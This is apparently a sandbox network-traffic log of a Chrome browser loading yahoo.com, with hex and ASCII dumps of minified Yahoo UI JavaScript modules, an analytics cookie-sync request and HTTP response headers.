2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e Data Ascii: ew TypeError("Cannot call a class as a function")}function n(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function l(e,t){if("function"!=typeof t&&n
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2e 6b 65 79 2c 72 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 72 29 7b 72 65 74 75 72 6e 20 69 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 69 29 2c 72 26 26 65 28 74 2c 72 29 2c 74 7d 7d 28 29 2c 68 3d 22 6e 65 78 74 22 2c 76 3d 22 70 72 65 76 22 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 69 3d 74 2e 77 69 6e 64 6f 77 4c 69 6d 69 74 2c 73 3d 76 6f 69 64 20 30 3d 3d 3d 69 3f 35 3a 69 3b 72 28 74 68 69 73 2c 65 29 2c 74 68 69 73 2e 61 Data Ascii: ject.defineProperty(e,r.key,r)}}return function(t,i,r){return i&&e(t.prototype,i),r&&e(t,r),t}}(),h="next",v="prev",f=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=t.windowLimit,s=void 0===i?5:i;r(this,e),this.a
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 54 6f 41 70 70 65 6e 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 67 65 74 28 74 68 69 73 2e 61 63 74 69 76 65 29 2c 74 3d 65 2e 67 65 74 28 22 69 6e 64 65 78 22 29 2c 69 3d 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 73 69 7a 65 2c 72 3d 74 68 69 73 2e 73 63 72 6f 6c 6c 49 74 65 6d 73 4c 69 6d 69 74 3b 69 66 28 74 68 69 73 2e 63 79 63 6c 65 29 7b 69 3c 3d 32 3f 72 3d 30 3a 69 3c 3d 33 26 26 28 72 3d 31 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 46 6f 72 77 61 72 64 28 72 2b 31 29 7d 72 65 74 75 72 6e 20 74 3c 72 3f 6e 75 6c 6c 3a 69 3e 74 2b 72 2d 31 3f 74 68 69 73 2e 67 65 74 46 6f 72 77 61 72 64 28 72 2b 31 29 3a 6e 75 6c 6c Data Ascii: getElementToAppend",value:function(){var e=this.elemMapping.get(this.active),t=e.get("index"),i=this.elemMapping.size,r=this.scrollItemsLimit;if(this.cycle){i<=2?r=0:i<=3&&(r=1);return this.getForward(r+1)}return t<r?null:i>t+r-1?this.getForward(r+1):null
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 64 3d 63 2e 67 65 74 28 22 69 6e 64 65 78 22 29 3b 63 3b 29 7b 76 61 72 20 66 3d 63 2e 67 65 74 28 68 29 3b 63 3d 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 67 65 74 28 66 29 2c 63 2e 73 65 74 28 22 69 6e 64 65 78 22 2c 2b 2b 64 29 2c 66 3d 3d 3d 74 68 69 73 2e 74 61 69 6c 26 26 28 63 3d 6e 75 6c 6c 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 73 69 7a 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 4d 61 70 70 69 6e 67 2e 73 69 7a 65 7d 7d 5d 29 2c 65 7d 28 29 2c 70 3d 66 2c 6d 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e Data Ascii: d=c.get("index");c;){var f=c.get(h);c=this.elemMapping.get(f),c.set("index",++d),f===this.tail&&(c=null)}}},{key:"size",get:function(){return this.elemMapping.size}}]),e}(),p=f,m=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var i=argumen
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 64 22 2c 4a 3d 5b 22 69 6e 64 69 63 61 74 6f 72 43 6c 69 63 6b 22 2c 22 69 6e 64 69 63 61 74 6f 72 4d 6f 75 73 65 4c 65 61 76 65 22 2c 22 69 6e 64 69 63 61 74 6f 72 4d 6f 75 73 65 6f 76 65 72 22 2c 22 6e 65 78 74 22 2c 22 70 61 75 73 65 22 2c 22 70 72 65 76 22 2c 22 72 65 73 75 6d 65 22 2c 22 73 74 61 74 65 44 69 64 55 70 64 61 74 65 22 2c 22 74 61 62 43 6c 69 63 6b 22 5d 2c 47 3d 5b 22 69 6e 64 65 78 22 5d 2c 4b 3d 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 2c 51 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4b 26 26 28 65 2e 73 74 79 6c 65 2e 63 75 72 73 6f 72 3d 74 29 7d 2c 5a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 2c 74 3d 21 31 3b 72 65 74 75 72 6e 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b Data Ascii: d",J=["indicatorClick","indicatorMouseLeave","indicatorMouseover","next","pause","prev","resume","stateDidUpdate","tabClick"],G=["index"],K="ontouchstart"in window,Q=function(e,t){K&&(e.style.cursor=t)},Z=function(){var e=[],t=!1;return{add:function(t,i){
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2d 70 61 67 65 22 29 29 5b 30 5d 2c 53 3d 65 29 3a 28 6b 3d 65 2c 45 3d 65 3f 4d 28 65 2e 63 68 69 6c 64 72 65 6e 29 3a 6e 75 6c 6c 29 7d 29 2c 75 2e 5f 75 74 69 6c 3d 6d 28 7b 7d 2c 75 2e 5f 75 74 69 6c 2c 7b 65 6c 65 6d 3a 65 2c 69 6e 64 69 63 61 74 6f 72 43 6f 75 6e 74 45 6c 65 6d 3a 41 2c 69 6e 64 69 63 61 74 6f 72 45 6c 65 6d 73 3a 77 2c 69 6e 64 69 63 61 74 6f 72 49 74 65 6d 73 3a 45 2c 69 6e 64 69 63 61 74 6f 72 50 61 67 69 6e 61 74 69 6f 6e 3a 67 2c 69 6e 64 69 63 61 74 6f 72 73 43 75 73 74 6f 6d 43 6f 75 6e 74 3a 76 2c 69 6e 64 69 63 61 74 6f 72 54 79 70 65 3a 5f 2c 69 6e 64 69 63 61 74 6f 72 57 69 74 68 43 6f 75 6e 74 45 6c 65 6d 3a 53 2c 69 6e 64 69 63 61 74 6f 72 57 69 74 68 6f 75 74 43 6f 75 6e 74 45 6c 65 6d 3a 6b 2c 73 6e 61 70 42 65 68 61 Data Ascii: -page"))[0],S=e):(k=e,E=e?M(e.children):null)}),u._util=m({},u._util,{elem:e,indicatorCountElem:A,indicatorElems:w,indicatorItems:E,indicatorPagination:g,indicatorsCustomCount:v,indicatorType:_,indicatorWithCountElem:S,indicatorWithoutCountElem:k,snapBeha
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 65 28 4c 2b 22 72 65 73 69 7a 65 2d 65 6e 64 22 29 2c 56 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 62 6f 75 6e 64 61 72 79 22 29 2c 6a 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 74 72 69 67 67 65 72 2d 77 66 2d 64 75 72 69 6e 67 2d 74 72 61 6e 73 69 74 69 6f 6e 22 29 2c 55 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 73 63 72 6f 6c 6c 76 69 65 77 2d 74 64 22 29 2c 4b 3d 4e 75 6d 62 65 72 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 22 29 29 7c 7c 30 2c 5a 3d 4e 75 6d 62 65 72 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4c 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 2d 64 69 73 61 62 6c 65 2d 68 6f 76 65 72 22 29 29 7c 7c 30 2c 24 3d 4e 75 6d 62 65 72 28 65 2e 67 65 74 41 Data Ascii: e(L+"resize-end"),V=e.getAttribute(L+"boundary"),j=e.getAttribute(L+"trigger-wf-during-transition"),U=e.getAttribute(L+"scrollview-td"),K=Number(e.getAttribute(L+"auto-switch"))\|\|0,Z=Number(e.getAttribute(L+"auto-switch-disable-hover"))\|\|0,$=Number(e.getA
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 61 70 2c 76 69 72 74 75 61 6c 43 6f 75 6e 74 65 72 3a 6e 75 6c 6c 7d 2c 61 65 2e 73 6c 69 64 65 72 49 74 65 6d 73 3d 4d 28 61 65 2e 73 6c 69 64 65 72 45 6c 65 6d 2e 63 68 69 6c 64 72 65 6e 29 3b 76 61 72 20 6e 65 3d 61 65 2e 73 6c 69 64 65 72 49 74 65 6d 73 2e 6c 65 6e 67 74 68 3b 69 66 28 75 2e 5f 73 74 61 74 65 2e 73 6c 69 64 65 57 69 64 74 68 3d 31 30 30 2f 6e 65 2c 75 2e 75 70 64 61 74 65 57 69 64 74 68 28 29 2c 58 28 61 65 2e 73 6c 69 64 65 72 45 6c 65 6d 2c 22 74 72 61 6e 73 66 6f 72 6d 22 2c 61 65 2e 74 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 2c 61 65 2e 74 72 61 6e 73 69 74 69 6f 6e 54 69 6d 69 6e 67 46 75 6e 63 74 69 6f 6e 29 2c 51 28 61 65 2e 73 6c 69 64 65 72 45 6c 65 6d 2c 22 2d 77 65 62 6b 69 74 2d 67 72 61 62 22 29 2c 61 65 2e 65 Data Ascii: ap,virtualCounter:null},ae.sliderItems=M(ae.sliderElem.children);var ne=ae.sliderItems.length;if(u._state.slideWidth=100/ne,u.updateWidth(),X(ae.sliderElem,"transform",ae.transitionDuration,ae.transitionTimingFunction),Q(ae.sliderElem,"-webkit-grab"),ae.e
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 73 2b 2b 29 7b 76 61 72 20 61 3d 74 2e 73 6c 69 64 65 72 49 74 65 6d 73 5b 73 5d 3b 72 3d 65 21 3d 3d 61 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 72 2b 22 22 29 3b 76 61 72 20 6e 3d 4e 28 61 29 3b 72 3f 6e 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22 29 7d 29 3a 6e 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 73 63 72 6f 6c 6c 56 69 65 77 57 69 74 68 4e 61 74 69 76 65 53 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 74 68 69 73 2e Data Ascii: s++){var a=t.sliderItems[s];r=e!==a,a.setAttribute("aria-hidden",r+"");var n=N(a);r?n.forEach(function(e){e.setAttribute("tabindex","-1")}):n.forEach(function(e){e.removeAttribute("tabindex")})}}},{key:"scrollViewWithNativeSync",value:function(){if(!this.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49838	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1003	OUT	GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	539	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:52 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC=19cw~2i3y;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:52 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:52 UTC	59	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 59 68 55 5f 34 56 6c 45 32 75 4b 65 4e 58 37 50 48 4d 38 58 6f 6e 72 62 6b 65 7a 51 48 62 30 5a 7e 41 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"axid": "y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49840	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	542	OUT	GET /aaq/wf/wf-countdown-1.2.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: XbnvFhEdtpikNW1FbW7kzw6CDmJFgkoPTcrWBK+iq5mnX2zcCq+cboq/+9WNjZSvdEq6x/re9T8= x-amz-request-id: DF9MBNRAC67R0GN6 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Sun, 13 Sep 2020 18:50:05 GMT ETag: "681d57e9e7cbef5de44544c13f8ca62e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 x-amz-version-id: CQ1lP8549yVnp28g4QLu9GcN8rB3ImgO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4348 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-countdown",[],t):"object"==typeof exports?exports["wafer-countdown"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wa
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f Data Ascii: t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeO
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 65 78 65 63 28 6e 29 2c 73 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 26 26 61 5b 31 5d 3b 73 26 26 28 6e 3d 73 29 7d 69 66 28 6e 29 7b 76 61 72 20 75 3d 6c 28 6e 29 2c 69 3d 6e 65 77 20 4d 61 70 3b 75 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 73 65 74 28 65 2c 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 2d 22 2b 65 29 5b 30 5d 29 7d 29 3b 76 61 72 20 66 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 63 6f 75 6e 74 64 6f 77 6e 2d 65 6e 64 64 61 74 65 22 29 3b 66 26 26 69 2e 73 69 7a 65 3d 3d 3d 75 2e 6c 65 6e 67 74 68 26 26 74 68 69 73 2e 73 65 74 75 70 43 6f 75 6e 74 28 69 2c 66 2c 6f 29 7d 7d 72 65 74 75 72 6e 20 Data Ascii: exec(n),s=Array.isArray(a)&&a[1];s&&(n=s)}if(n){var u=l(n),i=new Map;u.forEach(function(e){i.set(e,t.getElementsByClassName("wafer-countdown-"+e)[0])});var f=t.getAttribute("data-wf-countdown-enddate");f&&i.size===u.length&&this.setupCount(i,f,o)}}return
2024-04-27 22:41:52 UTC	448	IN	Data Raw: 74 54 69 6d 65 49 6e 74 65 72 76 61 6c 29 7d 7d 5d 29 2c 65 7d 28 29 2c 70 3d 77 2c 68 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 73 2e 57 61 66 65 72 42 61 73 65 43 6f 6e 74 72 6f 6c 6c 65 72 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 6e 3d 65 2e 72 6f 6f 74 2c 72 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 64 6f 63 75 6d 65 6e 74 3a 6e 2c 73 3d 65 2e 73 65 6c 65 63 74 6f 72 2c 75 3d 76 6f 69 64 20 30 3d 3d 3d 73 3f 22 2e 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 22 3a 73 3b 6f 28 74 68 69 73 2c 74 29 Data Ascii: tTimeInterval)}}]),e}(),p=w,h=window.wafer.controllers.WaferBaseController,y=function(e){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=e.root,r=void 0===n?document:n,s=e.selector,u=void 0===s?".wafer-countdown":s;o(this,t)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49841	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	538	OUT	GET /aaq/wf/wf-benji-1.1.4-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: nccc5I6wBtjiw9fmCL5pxQbtcxbDGr/PmJkxwjUFIqyibmQniGbZyHFlokFGy/hD8c9MFv+GeMs= x-amz-request-id: 7P31JRYH9FXCRSMZ Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Thu, 28 Mar 2024 01:05:23 GMT ETag: "35aee535d9e7eebe8de39dfdd5ebee5b" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: NGGq9xgniTVeBLz4zixWev8XE0okrA5g Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8288 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 719 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 65 6e 6a 69 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 65 6e 6a 69 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-benji",[],t):"object"==typeof exports?exports["wafer-benji"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a f
